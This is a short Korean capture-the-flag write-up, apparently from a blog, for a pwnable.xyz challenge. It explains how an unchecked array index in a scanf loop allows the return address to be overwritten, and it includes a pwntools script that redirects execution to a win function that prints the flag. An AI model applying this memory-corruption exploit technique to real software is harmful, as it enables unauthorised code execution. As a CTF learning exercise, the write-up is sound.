How to Exploit

image

scanf 함수에서 3개의 인자(v4, v5, v6)에 입력을 받고 반환값이 3이 아니면 while문을 나가고 3이면, v7[v6] = v4+v5를 실행한다. v6의 범위가 없기 때문에 이 식에서 ret 값을 바꿔줄 수 있을 것 같다.

scanf 함수의 리턴값은 서식문자에 합당한 값이 정확히 몇 개 들어왔는지 출력한다. %ld인데 문자를 받으면 3이 되지 않을 것이다.

Design the Payload

  1. main 함수의 ret와 v7의 거리

main 함수 ret 주소 : 0x7fffffffdfc8
input에 256 16 0을 넣었을 때 0x110이 0x7fffffffdf60에 있었다. 512 16 1을 넣었을 때 0x210이 0x7ffffffdf58에 있으므로 인덱스가 1 증가할 때 주소는 8 증가한다.
목표 인덱스 : (0xc8-0x60)/8 = 13

  1. win 주소 : 0x400822

win 함수는 system('cat /flag')를 실행시키는 함수이다. 이 함수 못 찾아서 꽤 삽질했다..

Exploit Code

from pwn import *
#p=process('./challenge')
p=remote('svc.pwnable.xyz', 30002)

win_add = 0x400822 # 4196386

p.sendlineafter('put: ',  '4196386 0 13')
p.sendlineafter('put: ', 'a')
p.interactive()

Capture the Flag

image

'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글

TLSv00  (0) 2020.03.07
Sub  (0) 2020.03.07
Note  (0) 2020.03.07
Misalignment  (0) 2020.03.07
GrownUp  (0) 2020.03.07

+ Recent posts